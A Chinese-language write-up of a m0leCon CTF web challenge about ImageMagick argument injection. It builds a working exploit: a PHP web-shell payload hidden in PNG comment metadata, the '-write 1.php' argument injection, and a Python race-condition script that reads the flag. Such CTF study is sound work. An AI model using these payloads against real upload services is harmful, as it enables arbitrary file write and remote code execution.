m0leconctf--命令参数注入

前言

最近事情比较多,题做得比较少了,周末打了一个国外的比赛,考察的点是命令参数注入

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_FILES['img']) && isset($_POST['name'])) {
$proc = proc_open(
$cmd = [
'/opt/convert.sh',
$_FILES['img']['tmp_name'],
$outputName = 'static/'.$_POST['name'].'.png'
],
[],
$pipes
);
proc_close($proc);
} else {
highlight_file(__FILE__);
}

题目大概就是上传一个图片,然后回执行convert.sh脚本对图片进行处理,然后保存到static目录,并且可以自己指定文件名

/opt/convert.sh

1
2
3
4
#!/bin/bash
set -x
convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2
find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true

分析

先简单介绍下sh脚本

convert命令是ImageMagick软件包中的一部分,用于在不同的图像格式之间进行转换,并支持多种图像处理操作。

这里的$1就是上传的文件的临时路径,$2是保存的位置,看起来貌似可以实现命令拼接

Exiftool 是一个命令行应用程序和 Perl 库,允许您读取和写入图像、音频和视频文件中的 EXIF、GPS、IPTC、XMP、makernotes 和其他元数据信息

这个脚本实现了对上传图片进行处理,然后利用exiftool清楚当前文件夹的所有文件的元数据

首先执行命令时使用的是php的数组,这就导致了命令拼接的思路不可取了,因为他会把;等常用的拼接字符也当作字符串的一部分

那么我就开始寻找其他地方的问题,考虑exiftool会不会有什么问题

于是我找到CVE-2021-22204 允许攻击者通过恶意构造的图像文件实现任意代码执行。该漏洞影响 ExifTool 版本 7.44 至 12.23

尝试复现了一下也成功了

image-20251027225237050

接下来需要确认一下环境的exiftool命令的版本,但是这个时候我发现了一个问题

image-20251027225324510

他的dockerfile里面根本没有安装exiftool,也没有创建static目录,这会导致无法正常的把处理后的文件保存,也不会清理元数据,当然这个漏洞也没用了

那么接下来只能从别的方向思考了

根据题目的描述ImageMagick,我们尝试搜索一下这个相关的东西,就不难发现这里存在参数注入

$1和$2虽然无法进行命令注入了,但是如果你使用-这样的字符,就会让后面的内容变成命令的参数了

下面思考一下我们需要注入什么。根据题目给的附件不难看出,flag是root才可读的,想读取flag只能利用它编译的readflag命令

image-20251027225933933

https://book.jorianwoltjer.com/web/server-side/imagemagick#argument-injection

这篇文章提到了convert命令参数注入时用到的一个参数 -write,会将图像写入到指定的路径

那么这就解决了我们现在的问题,首先是我们可以控制文件保存的位置了,不会因为static目录不存在而报错,其次是我们可以讲图片的内容写入到一个文件,那就相当于可以实现任意文件写入了,我们就可以传🐎来读文件。

但是随之而来的还有一个问题,就是convert命令在处理的时候,文件必须是一个有效的png文件,否则就会拒绝写入,但是这样我们又无法保证我们的php代码的完整性

这时候想到,sh脚本的第二条命令清除了文件的元数据,难道元数据有什么问题吗

1
2
3
4
5
图片元数据(metadata)是嵌入到图片文件中的一些标签。比较像文件属性,但是种类繁多。常见的几种标准有:

EXIF:通常被数码相机在拍摄照片时自动添加,比如相机型号、镜头、曝光、图片尺寸等信息。
IPTC:比如图片标题、关键字、说明、作者、版权等信息。
XMP:由Adobe公司制定标准,以XML格式保存。用PhotoShop等Adobe公司的软件制作的图片通常会携带这种信息。

显然元数据并不是png正文的一部分,而是类似于图片的注释的东西,并且是用原始的可读字符保存的

那我们是不是可以把🐎写到元数据里面,然后再通过参数注入写到一个php文件中,就能读到flag了

给图片写元数据可以利用exiftool工具,test.png用正常png即可

1
exiftool -Comment='<?php system("/readflag"); ?>' test.png -o evil.png

然后在上传evil.png的时候指定name=1 -write 1.php 2

这样想必就能把🐎写到1.php中,这题到这里就结束了

但是如果环境正常的话,exiftool会在convert处理完图片之后,清楚当前目录下的文件的元数据,我们写的🐎就会被清掉,所以需要条件竞争

得到脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import subprocess
import base64
import threading

url = "http://127.0.0.1:8000"

with open ("evil.png",'wb') as f: #创建合法png
f.write(base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAACklEQVR4AWNgAAAAAgABc3UBGAAAAABJRU5ErkJggg=="))

payload = "<?php var_dump(system('/readflag'));?>"

subprocess.check_output(['exiftool',f"-comment={payload}",'evil.png']) #写入恶意payload到元数据

def writefile():
res = requests.post(url=url,data={"name":"a -write 1.php b"},files={"img":open('evil.png','rb').read()})
assert res.status_code == 200,res.status_code
def readflag():
res2 = requests.get(url=url+"/1.php")
print(res2.text)

thread1 = threading.Thread(target=writefile,args=())
thread2 = threading.Thread(target=readflag,args=())

thread1.start()
thread2.start() #多线程竞争

thread1.join()
thread2.join()

总结

这题给的环境既是提示,但是由于它的配置又容易误导人,总的来接触了一下参数注入,不管什么注入,其实都是利用命令执行的时候的闭合符号或者一些特殊的符号破坏命令原本的结构,让其执行一些违背目的的操作


m0leconctf--命令参数注入
http://example.com/2025/10/27/m0leconctf-命令参数注入/
作者
onehang
发布于
2025年10月27日
许可协议